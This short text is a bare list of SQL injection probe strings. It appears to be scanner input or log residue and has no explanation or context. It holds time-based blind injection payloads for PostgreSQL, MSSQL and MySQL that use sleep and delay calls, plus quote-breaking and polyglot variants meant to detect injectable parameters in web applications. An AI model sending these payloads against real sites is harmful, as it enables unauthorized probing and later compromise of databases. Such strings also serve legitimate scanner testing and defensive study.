555-1)) OR 981=(SELECT 981 FROM PG_SLEEP(15))--

555-1) OR 573=(SELECT 573 FROM PG_SLEEP(15))--

555-1 OR 936=(SELECT 936 FROM PG_SLEEP(15))--

555ZisHqDzS′

555-1 waitfor delay ′0:0:15′ --

555-1)

555-1

(select(0)from(select(sleep(15)))v)/*′+(sele ct(0)from(select(sleep(15)))v)+′"+(selec t(0)from(select(sleep(15)))v)+"*/